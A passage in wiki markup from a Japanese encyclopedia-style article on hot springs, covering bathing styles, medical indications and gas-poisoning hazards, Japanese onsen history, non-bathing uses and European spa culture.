温泉法で定められた温泉の定義には当てはまるが、上記11種の分類に収まらない温泉(鉱泉)も有る。具体的には、湧出温度25℃未満であり、含有成分が1,000mg/kg以上含んでいる、またはメタケイ酸・メタほう酸などは規定量以上含んでいるが、療養泉の指定成分を規定量以上含まない温泉である。これらは泉質分類ができず便宜上の通称として“温泉法上の温泉”、“含フッ素泉”、“メタほう酸泉”、“メタケイ酸泉”、“単純泉”、“冷鉱泉”などとその特性に応じて名づけられる。正式な適応症の掲示はできないが、加温して温浴する場合は[[一般的適応症]]と同様の効能が期待できる。
== 提供形態 ==
[[ファイル:Onsen-rotenburo-winter2014.ogv|thumb|thumbtime=9|温泉の中]]
[[ファイル:Kaike onsen06s3648.jpg|thumb|200px|掛け流し([[皆生温泉]])]]
[[ファイル:kinosaki_onsen.jpg|thumb|200px|城崎温泉絵葉書明治時代]]
一旦浴槽に注いだ湯を再注入するか否かで'''[[循環風呂|循環式]]'''と'''[[掛け流し]]'''に分類される。循環式においては、一度利用した湯を濾過・加熱処理をした上で再注入している。近年掛け流しを好む利用者の嗜好により、「源泉かけ流し」等のキャッチコピーで宣伝しているところもある。
=== さまざまな湯温 ===
* [[時間湯]] - [[草津温泉]](高温浴(摂氏42度以上))
* ぬる湯/持続湯 - 不感温度浴(摂氏34-37度)、微温浴(摂氏37-39度)
* 冷泉浴 - [[増富温泉]](山梨県)、[[寒の地獄温泉]](大分県)
=== さまざまな入浴法 ===
一般的な[[大浴場]]や一人~少人数向け湯船・浴槽、[[露天風呂]]以外に多様な入浴やそれに近い温泉の利用法がある。
* [[打たせ湯]] - うたせ大浴場(大分県の[[筋湯温泉]])、[[ひょうたん温泉]](大分県の[[鉄輪温泉]])
* 立ち湯 - [[鉛温泉]](岩手県)
* 寝湯 - [[湯之谷温泉郷]]
* [[足湯]] - 各所、屋外で無料のものも多い。[[道の駅たるみず]](鹿児島県)に設置されているものが日本最長。
* [[蒸し湯]]
** 石室 - [[鉄輪むし湯]]([[生薬]]の[[ショウブ|石菖]]を敷き詰める:大分県の[[鉄輪温泉]])
** 箱むし - [[後生掛温泉]](秋田県)
** まんじゅうふかし - [[酸ヶ湯|酸ヶ湯温泉]](青森県)
* 砂湯 - 槻沢温泉「砂ゆっこ」([[岩手県]][[西和賀町]]の[[湯田温泉峡]])、[[指宿温泉]](鹿児島県)、[[竹瓦温泉]](大分県の[[別府温泉]])、[[別府海浜砂湯]](大分県の[[亀川温泉]]上人ヶ浜)
* [[岩盤浴]] - [[玉川温泉 (秋田県)|玉川温泉]](秋田県)
* 泥湯 - 温泉保養ランド(大分県[[明礬温泉]])、すずめの湯(熊本県[[地獄温泉]])、[[三朝温泉]](鳥取県)、[[後生掛温泉]](秋田県)
* [[飲泉]] - 各所、禁忌の場合もあるので、飲む場合は注意が必要。
=== 濃縮温泉水 ===
家庭などでも温泉水を楽しめるようにと、温泉水を濃縮したものが各社より販売されており、浴槽の湯に濃縮温泉水を適量混ぜて入浴する。濃縮温泉水の製造には、蒸発・[[超音波霧化分離]]を利用した装置がある<ref>{{Cite web|和書|url=http://www.nikkei.com/article/DGXNZO48605350Z11C12A1LA0000/ |title=ナノミスト、超音波で温泉水濃縮 旅館向け装置販売 |access-date=2017-1-30 |date=2012-11-20 |publisher=日本経済新聞 電子版 |rel=harv}}</ref>。
== 温泉と医療 ==
湯を使う[[風呂]]が一般的でなく、[[衛生]]に関する知識や[[医療]]が不十分であった時代には、温泉は[[怪我]]や[[病気]]に驚くべき効能がある、ありがたい[[聖地]]であった。各温泉の起源伝説には、[[シカ|鹿]]や[[ツル目|鶴]]や鷺(サギ)などの[[動物]]が傷を癒した[[伝説]]や、[[施浴]]などを通して入浴を奨励する[[仏教]]の影響で[[空海|弘法大師]]等高名な[[僧侶]]が発見した伝説が多い。このような場所は[[寺院|寺]]や[[神社]]が所有していたり、近隣[[共同体]]の共有財産であったりした。
[[明治時代]]になると温泉の科学的研究も次第に盛んになった。[[昭和]]以降は温泉医学及び[[分析化学]]の進歩によって温泉の持つ医療効果が実証され、温泉の利用者も広範囲に渡った。
[[1931年]](昭和6年)、[[九州大学]]が豊富な温泉資源に恵まれた別府温泉に[[温泉治療学研究所]]を設置したのをはじめ、[[温泉療法]]の研究が国立6大学に広がり盛んになった。1935年(昭和10年)には日本温泉気候学会が設立され、温泉気候およびその医学的応用に関する学術的研究が進む。日本温泉気候学会から改称された[[日本温泉気候物理医学会]]は、[[温泉療法医]]・温泉療法専門医の認定を行っている。[[三朝温泉]]ではラジウムの効能に目を付けて[[1939年]](昭和14年)に温泉療養所が設けられるなど、温泉と近代医学を結びつける温泉療法の研究が行われてきた。また[[太平洋戦争]]後は[[原子爆弾被爆者別府温泉療養研究所]]が開設され、被爆者援護においても温泉療法の研究が行われた。
昭和29年に、厚生省が温泉で良い影響を与える[[一般的適応症]]、逆に身体に悪い影響を与える禁忌症、入浴又は飲用上の注意を策定した<ref name="tekikinnki">[https://www.env.go.jp/nature/onsen/docs/zentaiban.pdf あんしん・あんぜんな 温泉利用のいろは] 環境省</ref>。
日本の[[環境省]]は、温泉法第18条などで、温泉の効用に当たる「適応症」と、逆に温泉に入ることで病状が悪化する可能性のある「禁忌症」を定めている。かつて[[妊娠]]中の[[女性]]が温泉に入ると、[[流産]]や[[早産]]を招くという意見があったが、科学的根拠は無く、[[妊婦]]が温泉に入っても健康上の問題はないとされる<ref>{{Cite web|和書|url=http://sankei.jp.msn.com/life/news/140403/trd14040321200022-n1.htm |title=妊婦の温泉入浴OKに 「禁忌症」から32年ぶり削除 環境省 |access-date=2014-4-4 |date=2014-4-3 |website=[[MSN産経ニュース]] |archive-url=https://web.archive.org/web/20140404033436/sankei.jp.msn.com/life/news/140403/trd14040321200022-n1.htm |archive-date=2014-4-4 |deadlinkdate=2016年4月}}</ref>。
;適応症・禁忌症<ref name=tekikinnki/>
:適応症とは、筋肉痛やうつ病などの温泉で改善される症状
:禁忌症とは、結核、悪性腫瘍、心臓病などで温泉に入ると症状が悪化するものを指す。
;感染症
:[[レジオネラ症]]によって温泉施設が営業停止になる場合がある<ref>{{Cite web|和書|url=https://www.niid.go.jp/niid/ja/legionella-m/legionella-iasrd/6620-437d06.html |title=日帰り入浴施設におけるレジオネラ症集団発生事例と衛生管理上の対策―神奈川県 |access-date=2022-12-23 |website=www.niid.go.jp}}</ref>。
;温泉と健康
:予防医学などの観点から全国の温泉地で色々な取り組みがなされている。一例として、[[湯原温泉]](岡山県[[真庭市]])では病院と温泉宿泊施設が連携した「[[人間ドック]]付宿泊プラン」(湯けむりドック)を実施するなど、町ぐるみで温泉を健康増進や療養に積極的に利用している。また温泉の[[泉質]]によって異なる入浴方法を入浴者にわかりやすく指南できる、市民を育成「温泉指南役」という制度で正しい入浴の仕方を啓蒙している<ref>{{Cite web|和書|url=https://www.mlit.go.jp/sogoseisaku/region/kanko100/pdf/068.pdf |title=エコとバイオで町興しと健康づくり・産業観光振興 湯原温泉郷 |access-date=2023-06-22 |publisher=国土交通省}}</ref>。
:[[いわき湯本温泉]]近くにある[[競走馬総合研究所#馬の温泉|競走馬リハビリテーションセンター]]の'''馬の温泉'''のように、[[競走馬]]の湯治として活用されている温泉施設もある。
===温泉付随ガスによる中毒・窒息死亡===
;硫化水素中毒<ref name=kanchu>[https://www.env.go.jp/nature/onsen/pdf/2-5_p_22.pdf 環境省委託業務報告書平成27年度温泉を原因とする中毒事故等対策検討委託業務] 著:公益財団法人 中央温泉研究所 公開:環境省</ref>
:[[2014年]]、[[北海道]][[足寄町]]の温泉施設で、入浴中の男性が温泉由来の[[硫化水素]]により[[意識不明]]の重体となった。事故を受けて行われた[[環境省]]の全国調査では、4,438施設のうち33施設で国の基準を超える量の硫化水素を検出している<ref>[http://dd.hokkaido-np.co.jp/news/society/society/1-0358554.html 温泉硫化水素 道内7カ所で基準超 全国では計33カ所] どうしんweb 北海道新聞(2017年1月17日)2017年1月28日閲覧</ref>。
:そのほかにも事故が起きており、二次災害も発生し、作業員全員が亡くなる事故も発生している<ref name=kanchu/>。
;二酸化炭素中毒、酸素欠乏(メタン、窒素、二酸化炭素、水蒸気)<ref name=kanchu/>
:[[酸素欠乏症]]により中毒症状や窒息が起きて、死亡する場合もある<ref>{{Cite web|和書|url=https://www.sankei.com/article/20180222-ZOIGIIJK4VN2ZKVO76ARAEZZNE/ |title=高濃度の二酸化炭素滞留か 有馬・歴史資料館で職員死亡 専門家が指摘 |access-date=2022-12-27 |last=INC |first=SANKEI DIGITAL |date=2018-02-22 |website=産経ニュース |language=ja}}</ref><ref name=kanchu/>。
===健康の関連項目===
* [[湯あたり]](湯中り) - 空腹や長時間の入浴で[[低血糖症]]、[[脱水 (医療)|脱水症]]や血流の変化、自立神経の変調等により一時的にあらわれる体調不良<ref>{{Cite journal|和書|last=幾久次郎 |first=斎藤 |year=1960 |url=https://doi.org/10.11390/onki1935.24.297 |title=湯中り-内分泌・代謝に関する研究 |journal=日本温泉気候学会雑誌 |ISSN=0369-4240 |publisher=日本温泉気候物理医学会 |volume=24 |issue=3 |pages=297-324 |doi=10.11390/onki1935.24.297 |CRID=1390282680342033920}}</ref><ref>{{Kotobank|湯あたり}}</ref><ref>{{Cite web|和書|url=https://www.tv-tokyo.co.jp/plus/lifestyle/entry/2018/017316.html |title=温泉旅館のお饅頭には深い意味が!? 知らなかった「温泉の正しい入浴法」|テレ東プラス |access-date=2022-12-27 |last=Corporation |first=株式会社テレビ東京-TV TOKYO |language=ja}}</ref>。
* 起立性低血圧 - 体の毛細血管が広がって脳への血流が低下して、さらに立ち上がることで更に脳への血流が低下することで立ち眩みなどが起きる<ref>{{Cite web|和書|url=https://yomidr.yomiuri.co.jp/article/20141027-OYTEW62702/ |title=入浴後の立ちくらみ、その仕組みと予防策 |access-date=2022-12-27 |website=ヨミドクター(読売新聞) |language=ja}}</ref>。
* 湯かぶれ - 温泉に入ることで金属や植物のアレルギーなどで発疹や炎症が起きる<ref>{{Cite web|和書|url=https://medical.jiji.com/topics/241 |title=癒やされるはずが逆効果?=温泉での湯かぶれにご用心 |access-date=2022-12-23 |website=時事メディカル |language=ja}}</ref>。
* 湯ただれ - 皮膚や粘膜が弱いと皮膚炎を起こす<ref name=tekikinnki/>。
* 湯傷 - 熱湯による火傷<ref>{{kotobank|湯傷}}</ref>。温度調整方法が故障するなどした湯に誤って転落して火傷による死亡例もある<ref>{{Cite web|和書|url=https://web.archive.org/web/20220130150125/https://www.nhk.or.jp/hokkaido/articles/slug-n05cc276e0c06 |title=中標津町の“野湯”で死亡事故 閉鎖危機 |access-date=2022-12-27 |website=NHK北海道 |language=ja}}</ref>。
* [[ヒートショック現象]]、浴室[[熱中症]]<ref>{{Cite web|和書|url=https://www.tbsradio.jp/articles/50896 |title=寒い時期にお風呂に入る際の注意点「ヒートショック」と「浴室熱中症」 | トピックス |access-date=2022-12-27 |website=TBSラジオ FM90.5 + AM954~何かが始まる音がする~ |language=ja}}</ref>
* Bäderreaktion - ドイツ語で、温泉反応の意。温泉によって起きた症状すべてを表すのに使用される<ref>{{Cite journal|和書|author=杉山尚 |year=1961 |url=https://doi.org/10.11390/onki1935.25.1 |title=湯あたり |journal=日本温泉気候学会雑誌 |ISSN=0369-4240 |publisher=日本温泉気候物理医学会 |volume=25 |issue=1 |pages=1-15 |doi=10.11390/onki1935.25.1 |CRID=1390001205365318400 |ref=harv}}</ref>。
* [[クアオルト]] - ドイツで医師による医療行為として温泉を利用する医療施設
* [[ドクターフィッシュ]] - トルコのカンガルという温泉に生息している魚で、他に食べ物が無いことから人間の角質などを食べて皮膚の病気に良い影響を与えるとされる<ref>{{Cite web|和書|url=https://www.nikkei-science.com/?p=17624 |title=ドクターフィッシュの生態学〜日経サイエンス2007年8月号より - 日経サイエンス |access-date=2022-12-23 |date=2007-06-25 |website=www.nikkei-science.com |language=ja}}</ref>。その一方、感染症のリスクから利用を禁じている場所もある<ref>{{Cite web|和書|url=https://www.j-cast.com/2015/11/05249714.html |title=日本でも人気、皮膚をきれいにするドクターフィッシュ 海外ではアトピー治療の一方、感染症恐れ禁止する国も |access-date=2022-12-23 |date=2015-11-05 |website=J-CAST ニュース |language=ja}}</ref>。
* {{ill2|ハイドロセラピー|en|Hydrotherapy}}(水治療)
* {{ill2|ビティナのアスクレピアデス|en|Asclepiades of Bithynia}} - 紀元前1世紀に入浴による治療を推奨した<ref>{{kotobank|アスクレピアデス}}</ref>。
* {{ill2|Kurarzt|de|Kurarzt}} - ドイツの医師免許の他に温泉学などの履修をした温泉療法医
== 日本の温泉 ==
[[環境省]]によると、日本には2016年度時点で3038の温泉地([[源泉]]数は2万7422)がある<ref>{{PDFlink|[https://www.env.go.jp/nature/onsen/pdf/2-4_p_1.pdf 温泉に関するデータ]}} 環境省(2018年7月13日閲覧)</ref>。温泉は[[ヨーロッパ]]では医療行為の一環として位置付けられる側面が強いが、日本では[[観光]]を兼ねた[[娯楽]]である場合が多い。[[学校]]の[[合宿]]、[[修学旅行]]に取り入れる例も多い。もちろん、[[湯治]]に訪れる客も依然として存在する。
<!--温泉ブームによる温泉数の推移、源泉掛け流し、循環湯、レジオネラ菌、湯元、などについても説明?-->
=== 歴史 ===
日本は火山が多いために火山性の温泉が多く、温泉地にまつわる[[神話]]や[[開湯伝説]]の類も非常に多い。神話の多くは、温泉の神とされる[[大国主命]]と[[少彦名命]]にまつわるものである。例えば[[日本三古湯]]の一つ[[道後温泉]]について、『[[伊予国]][[風土記]]』逸文には、大国主命が[[鶴見岳]](現在の[[大分県]][[別府市]])の山麓から湧く「[[速見の湯]]」(現在の[[別府温泉]])を海底に管を通して道後温泉へと導き、少彦名命の病を癒したという神話が記載されている。
また、発見の古い温泉ではその利用の歴史もかなり古くから文献に残されている。文献としては『[[日本書紀]]』『[[続日本紀]]』『[[万葉集]]』『[[拾遺和歌集|拾遺集]]』などに[[禊]]の神事や[[天皇]]の温泉[[行幸]]などで使用されたとして[[玉造温泉]]、[[有馬温泉]]、[[道後温泉]]、[[南紀白浜温泉|白浜温泉]]、[[秋保温泉]]などの名が残されている。平安時代の『[[延喜式神名帳]]』には、温泉の神を祀る[[温泉神社]]等の社名が数社記載されている。日本の温泉[[旅館]]のうち、[[慶雲館 (旅館)|「慶雲館」(西山温泉)]]、「千年の湯 古まん」([[城崎温泉]])、[[法師 (旅館)|「法師」(粟津温泉)]]はいずれも[[飛鳥時代]]創業とされており、宿泊施設として世界でも現存最古級である。
[[考古学]]の観点からは、[[塩]]を含む温泉に、塩分を求めて[[草食動物]]が集まり、その動物たちを[[狩猟|狩る]]人間が温泉の周りに集まり、人の営みが生まれ、温泉に親しむ[[日本の文化]]が生まれたのではという推察がある<ref>{{Cite news |title=テルマエ・ニッポン:温泉と遺跡の関係…考古学的研究進む |newspaper=[[毎日新聞]] |date=2014-02-19 |url=http://mainichi.jp/select/news/20140219k0000e040245000c.html |access-date=2014-02-23}}{{リンク切れ|date=2016年4月}}</ref>。
'''[[六国史]]に見える温泉の記述'''
* 日本書紀
** [[舒明天皇]]3年([[631年]])9月19日:「幸干[[摂津国]][[有馬温泉|有間温泉]]」
** 同年12月13日:「天皇至自温湯」
** 舒明天皇10年([[638年]])10月:幸有間温湯宮
** [[大化]]3年([[647年]])10月11日:天皇幸有間温湯
** [[斉明天皇]]3年([[657年]])9月:[[有間皇子]]性黠 陽狂云々 往[[南紀白浜温泉|牟婁温湯]]為療病([[和歌山県]][[南紀白浜温泉]])
** 斉明天皇4年([[658年]])10月15日:幸[[南紀白浜温泉|紀温湯]](和歌山県南紀白浜温泉)
** 斉明天皇5年([[659年]])1月3日:天皇至自紀温湯
* 続日本紀
** [[大宝 (日本)|大宝]]元年([[701年]])10月8日:車駕至[[南紀白浜温泉|武漏温泉]](和歌山県南紀白浜温泉)
* 続日本後紀
** [[承和 (日本)|承和]]4年([[837年]])4月16日:[[陸奥国]]言 [[鳴子温泉|玉造塞温泉]]石神 雷響振動([[宮城県]][[鳴子温泉]])
** 承和7年([[840年]])9月8日:以[[伊予国]][[道後温泉|温泉郡]][[定額寺]]為天台別院([[愛媛県]][[道後温泉]])
** 承和10年([[843年]])9月5日:奉授陸奥国 无位玉造温泉神(宮城県鳴子温泉)
* 日本三代実録
**[[貞観 (日本)|貞観]]2年([[860年]])2月8日:進[[肥前国]][[雲仙温泉|温泉神]]並[[従五位上]]([[長崎県]][[雲仙温泉]])
** 貞観5年([[863年]])10月7日:授[[下野国]]従五位上勳五等[[那須温泉郷|温泉神]][[従四位下]]([[栃木県]][[那須温泉郷|那須湯本温泉]])
** 貞観9年([[867年]])2月26日:[[大宰府]]言 [[火男火売神社|従五位上火男神 従五位下火売神 二社]]在[[豊後国]][[速見郡]][[鶴見岳|鶴見山嶺]] 山頂有三池 一池泥水色[[別府地獄めぐり#海地獄|青]] 一池黒 一池[[別府地獄めぐり#血の池地獄|赤]] 去正月廿日池震動 其聲如雷 俄而如流黄 遍満国内 磐石飛乱 上下無数 石大者方丈 小者如甕 晝黒雲蒸 夜炎火熾 沙泥雪散 積於數里 池中元出温泉 泉水沸騰 自成河流 山脚道路 徃還不通 [[別府温泉|温泉之水 入於衆流]] 魚醉死者无万數 其震動之聲經歴三日([[大分県]][[別府温泉]])
** 貞観11年([[869年]])2月28日:進[[下野国]]従二位勳四等二荒神階加正二位 授従四位下勳五等温泉神[[従四位上]](栃木県那須湯本温泉)
** 貞観15年([[873年]])6月26日:授[[出羽国]][[正六位上]][[蔵王温泉|酢川温泉神]]従五位下([[山形県]][[蔵王温泉]])
[[鎌倉時代]]以降になると、それまで漠然として信仰の存在となっていた温泉に対し、医学的な活用が増え、実用的、実益的なものになった。[[一遍]]らの僧侶の行う[[施浴]]などによって入浴が一般化した。鎌倉中期の別府温泉には[[大友頼泰]]によって温泉奉行が置かれ、[[元寇]]の戦傷者が保養に来た記録が残っている。さらに戦国時代の[[武田信玄]]や[[上杉謙信]]は特に温泉の効能に目を付けていたといわれる。
[[江戸時代]]頃になると、農閑期に[[湯治]]客が訪れるようになり、それらの湯治客を泊める宿泊施設が[[温泉宿]]となった。湯治の形態も長期滞在型から一泊二日の短期型へ変化し、現在の入浴形態に近い形が出来上がった。
[[貝原益軒]]、[[後藤艮山]]、[[宇田川榕庵]]らにより[[温泉療法]]に関する著書や温泉図鑑といった案内図が刊行されるなどして、温泉は一般庶民にも親しまれるようになった。この時代は一般庶民が入浴する雑湯と[[幕吏]]、[[代官]]、[[藩主]]が入浴する殿様湯、かぎ湯が区別され、それぞれ「町人湯」「さむらい湯」などと呼ばれていた。各藩では'''湯役所'''を作り、湯奉行、湯別当などを置き、湯税を司った。
一般庶民の風習としては正月の湯、寒湯治、花湯治、秋湯治など季節湯治を主とし、比較的決まった温泉地に毎年赴き、疲労回復と健康促進を図った。また、現代も残る「湯治風俗」が生まれたのも江戸時代で、[[砂湯]]、[[打たせ湯]]、蒸し湯、合せ湯など、いずれもそれぞれの温泉の特性を生かした湯治風俗が生まれた。
そして[[上総掘り]]という[[ボーリング]]技術による[[源泉]]の掘削「湯突き」が[[19世紀]]末にかけて爆発的に普及した事で、[[明治]]以降には温泉資源を潤沢に利用出来るようになった。日本の温泉源泉総数のうちおよそ1/10を抱える大分県別府市では、[[1879年]](明治12年)頃にこの技術が導入されて温泉掘削が盛んとなり、発展した。
=== 温泉とレジャー ===
[[1929年]](昭和4年)から翌年にかけて[[国民新聞]]主催で「全国温泉十六佳選」という読者投票イベントが実施され<ref>{{Cite journal|和書|author=[[関戸明子]] |date=2005 |url=https://gunma-u.repo.nii.ac.jp/records/4002 |title=メディア・イベントと温泉:「国民新聞」主催「全国温泉十六佳選」をめぐって |journal=群馬大学教育学部紀要. 人文・社会科学編 |ISSN=0386-4294 |publisher=群馬大学教育学部 |volume=54 |pages=67-83 |hdl=10087/1203 |naid=120000913245 |CRID=1050282812637360512}}</ref>、各地の温泉に関心が注がれた。
[[箱根温泉]]([[神奈川県]][[足柄下郡]][[箱根町]])や[[熱海温泉]](静岡県[[熱海市]])のように交通が便利な地域に形成された大規模な温泉街もあれば、交通の便が悪い山奥などにあるものの泉質や閑静な雰囲気などを求める[[秘湯]]めぐりというジャンルもある。
1950年代には、温泉地に向かう鉄道の臨時電車も設定されるなど、戦後の混乱から徐々に脱却し、温泉地に向かう余裕のある客も増えてきたが、さすがに年末年始の時期に温泉に向かう客は少なく、週末に東京から伊豆方面へ温泉客を運んでいた臨時電車「いこい」「いでゆ」(現在の[[踊り子 (列車)|特急踊り子号]]の前身)が運休する年もあった<ref>「温泉列車を運休 年末・年始の週末に」『朝日新聞』昭和25年12月2日3面</ref>。
[[バブル景気|バブル]]期の[[リゾートマンション]]には、天然温泉付きというものもあった(そういった名称ではないものの1960年前後に既に存在したという説もある)。
1997年の[[多摩テック]]「[[多摩テック#クア・ガーデン開業|クア・ガーデン]]」(既に閉園)を先駆けとし、[[テーマパーク]]([[遊園地の歴史|遊園地]])に天然温泉施設を併設する動きが2000年代初頭に相次いだ。
=== 入浴以外での利用 ===
==== 景観 ====
火山性温泉の周辺には、火山活動に伴う地形や現象などが観光資源になっている例もある([[大涌谷]]や各地の[[地獄谷]]など)。成分や湯温などが入浴に適さないなどの理由で、観光客が見て楽しむ熱水泉もあり、[[別府地獄めぐり]]や世界各地にある[[間欠泉]]が有名である。
[[地獄谷温泉 (長野県)]]は人間が泊まる温泉宿以外に、[[ニホンザル]]が[[露天風呂]]につかる[[地獄谷野猿公苑]]があることで日本国外にも知られている。
==== 湯の花などの採取 ====
[[ファイル:Myoban Onsen 02.jpg|thumb|200px|湯の花小屋([[明礬温泉]])]]
温泉に含まれる成分が[[析出]]・[[沈殿]]したものを「[[湯の花]]」と呼ぶ。採取して[[入浴剤]]などとして販売している温泉地もある<ref>[https://www.kahoku.co.jp/tohokunews/201707/20170722_43045.html <玉川温泉>汗でびっしょり 湯の花どっさり]『[[河北新報]]』2017年7月22日(2018年7月13日閲覧){{リンク切れ|date=2021年6月}}</ref>。[[明礬温泉]](別府市)の「湯の花小屋」における湯の花からの[[明礬]]製造技術は国の[[重要無形民俗文化財]]に指定されている。
[[大塩裏磐梯温泉]](福島県)では、濃い[[食塩泉]]を煮詰めて製塩(山[[塩]])が行われている。
==== 食品加工などへの利用例 ====
* [[地獄蒸し]] - 別府市の[[鉄輪温泉]]が有名。温泉の蒸気熱を利用した[[地獄釜]]で魚や野菜を蒸す。成分が逃げないのが特徴。
* [[温泉卵]] - 高温の源泉につけて卵をゆでる。
* [[野沢温泉]]([[長野県]])では、収穫後の[[野沢菜]]の下ごしらえに利用したり、冬季に凍っている野沢菜をゆでたりするために温泉を用いている。また下ごしらえの場所として共同浴場の湯船を利用することでも知られている。
* 温泉[[納豆]] - [[黒石温泉郷]]や、[[四万温泉]]などで見られる。
* [[肥料]] - [[富山県]][[砺波市]]では、[[マグネシウム]]などミネラル分を含んだ温泉水を肥料として「[[庄川]]おんせん野菜」を育てている<ref>【食のフロンティア】「おんせん野菜」人気じわり 肥料に使い「甘みアップ」『[[日経MJ]]』2018年12月24日(フード面)。</ref>。
====温泉発電====
温泉の熱を、[[アンモニア]]や[[フロンガスR11|フロン]]などの水よりも沸点が低いものに与えることで蒸気を発生させ、その蒸気圧によって[[タービン]]を回すことで電力を発生させる[[バイナリー発電]]が行われている。従来の[[地熱発電]]と比べ、開発コストが低い、温泉枯渇のリスクが低い、というメリットがある。[[雲仙市立国見中学校|長崎県雲仙市]]や[[別府市立北部中学校|大分県別府市]]などで運用されている<ref>{{Cite web|和書|url=https://www.yhg.co.jp/taiyo33/column/%e6%97%a5%e6%9c%ac%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8b%e5%9c%b0%e7%86%b1%e7%99%ba%e9%9b%bb%e6%99%ae%e5%8f%8a%e3%81%ae%e8%aa%b2%e9%a1%8c/ |title=「温泉大国・日本」における地熱(温泉)発電普及の課題とは? |access-date=2022-12-13 |last=yh |date=2021-12-18 |website=太陽光発電最安値発掘隊 |language=ja}}</ref>。
==== 温泉泥の利用 ====
* ファンゴティカ - 別府では、多彩な泉質の源泉に見られる色とりどりの温泉泥の利用を[[大分大学]]医学部、[[広島大学]]、[[日本文理大学]]、[[パドヴァ大学]](イタリア)、[[大分県産業科学技術センター]]などが共同で研究して温泉泥美容ファンゴティカが開発されている。
==== その他の温泉熱利用 ====
[[土湯温泉]](福島県)では温泉熱を[[テナガエビ]][[養殖]]に、[[草津温泉]](群馬県)では[[水道水]]の加温や[[暖房]]、道路の[[融雪]]に利用している<ref>[https://www.asahi.com/articles/DA3S13495259.html 【eco活プラス】温泉熱でまちづくり エビの養殖・融雪…とことん活用]『朝日新聞』夕刊2018年5月15日(2018年7月13日閲覧)</ref>。
== 世界の温泉 ==
世界的に温泉の利用形態は大きく分けて、'''入浴して体を休める'''(日本ではこれが主流)、'''入浴して療養する'''、'''入浴して楽しむ'''(泳ぐなど)、そして'''飲む'''(飲泉)、'''蒸気を利用する'''([[サウナ]]や[[蒸し風呂]])に大別される。入浴して体を休めるのは湿潤な気候を反映した日本独自の文化(例外的にアジアの一部で日本的な入浴が広まっている)であり、世界的には楽しむ、療養する、あるいは飲むもの、蒸すものとして認識されている。だが、今日の日本文化のブームやonsen文化の浸透(後述)によって、日本式の入浴が世界中で拡がっている部分も見られる。
歴史的にみると、温泉は紀元前3000-4000年代には[[エジプト]]で利用されており、[[エトルリア人]]は源泉周辺に温泉施設を建設し、鉱泉を調査・管理する制度も持っていた。[[古代ギリシャ]]時代にはすでに病気治療のための温泉利用が確立し、温泉の効能の神秘的な力から信仰と結びついて、[[巡礼]]と治療の場として発達した。[[古代ローマ]]時代には、ホテルと温泉を結びつけた保養施設の建設がさらに進められ、富裕層向けの豪華なリゾート的施設から庶民的なものまで幅広く造られた。温泉町には遊興施設が出現し、娯楽と享楽の場として栄えたが、[[ローマ帝国]]の衰退とともに寂れていった。
[[キリスト教]]は初期においてローマ的な温泉信仰を根絶するために温泉施設を取り壊し、代わりに教会などのキリスト教施設を建設し、裸体で浴槽に入るのは肉欲にも繋がるとして否定的な態度を取っていた<ref>{{Cite web|和書|url=https://www.sankei.com/article/20170917-BWYYR5CNLRNWBGLC5UFSLLKIEE/ |title=【イタリア便り】風呂との縁切ってしまった中世ヨーロッパ |access-date=2022-12-23 |last=INC |first=SANKEI DIGITAL |date=2017-09-17 |website=産経ニュース |language=ja}}</ref>。13世頃になると[[十字軍]]により伝えられた東方の浴場情報から温泉の医学的利用が再び始まり、15世紀には共同体が温泉管理に力を入れたことで温泉地は活況を取り戻した。19世紀後半には温泉療養リゾート熱が再燃し、温泉町に[[カジノ]]や[[別荘]]が盛んに建設されるようになり、現在に至っている<ref name="naru1">{{Cite journal|和書|author=成沢広幸 |date=2000 |url=http://www.cmp-lab.or.jp/~narusawa/0004.pdf |format=PDF |title=フランス温泉療養リゾート沿革 |journal=経済学論集 |ISSN=09189068 |publisher=宮崎産業経営大学経済学会 |volume=9 |issue=1 |pages=173-221 |CRID=1520572357829922048}}</ref>。
=== ヨーロッパ ===
ヨーロッパの温泉地としては、チェコの[[カルロヴィ・ヴァリ]]、イギリスの[[バース (イングランド)|バース]]、ベルギーの[[スパ (ベルギー)|スパ]]、ハンガリーの[[ブダペスト]]、ドイツの[[バーデン=バーデン]]などが有名である。詳細は後述の項目を参照。
[[日光浴]]や[[空気浴]]を加えた保養地として発達してきた。現在でも、[[鉱泉]]水を飲んだり、決められた時間だけ湯につかり、シャワーを浴びながらマッサージを受けたりすることは医療行為として認められている。
日本の温泉が入浴本位で発展したのに対し、現在のヨーロッパでは特に「温泉を飲む」、すなわち'''[[飲泉]]'''が温泉文化として深く根付いている。[[カルルス温泉]]の由来にもなった有名な[[カルロヴィ・ヴァリ|カルルスバード]]などは飲泉のための温泉地である。
15世紀までは入浴が主であったが、[[火山帯]]が少ないため湯量が少なく、また泉温が低かったため、温泉地は発展しなかった。また、風紀の乱れや[[梅毒]]や[[ペスト]]などの[[伝染病]]蔓延や宗教的理由による社会背景などにより入浴が身体を害するものとみなされ、入浴という習慣が敬遠されていった(詳しくは「[[入浴]]」の項を参照)。一方、ヨーロッパでは飲用水の質が悪く、そのため一部の入浴客は温泉水を飲用していた。これに目を付けた温泉地は瓶詰めにして売り出したところ、大変な評判を呼び、以後は“温泉は飲むもの”、すなわち飲泉が文化として根付いた。有名な[[エビアン (ミネラルウォーター)|エビアン]]や[[ヴィシー]]なども温泉水である。なお、日本においても「[[ウィルキンソン (飲料)|ウィルキンソン]]」「[[ジンジャーエール]]」など一部の[[炭酸飲料]]は初期に炭酸泉水を原料としていた。
またこれにより、温泉水を直に飲用したことで医療効果が鮮明であったことから、飲泉と医学がすぐに結びついた。これは日本の温泉が、流入した西洋医学の崇拝が妨げとなって、しばらく[[温泉療法]]が[[民間療法]]と見做されて研究が遅れたのとは対称的である(尤も、陸海軍の大規模な傷病者施設のあった[[別府温泉|別府]]や、[[三朝温泉|三朝]]など一部の温泉では[[温泉病院]]が設けられたり近隣の大学と結びつき、営々と研究も行われていた)。
今日温泉町として知られる[[バース (イギリス)|バース]]や[[カルロヴィ・ヴァリ|カルルスバート]]などは[[保養地]]としても発展し、温泉病院や老後施設なども完備する。温泉による保養という点では日本と同じである。また、ホテルやレストランも建てられているが、中に入浴用の温泉は存在せず(ヨーロッパ、特に西欧や東欧は日本ほど湿潤でないことも入浴文化が発展しなかった大きな理由である)、代わりに飲泉場や飲泉[[バー (酒場)|バー]]が設けられている。
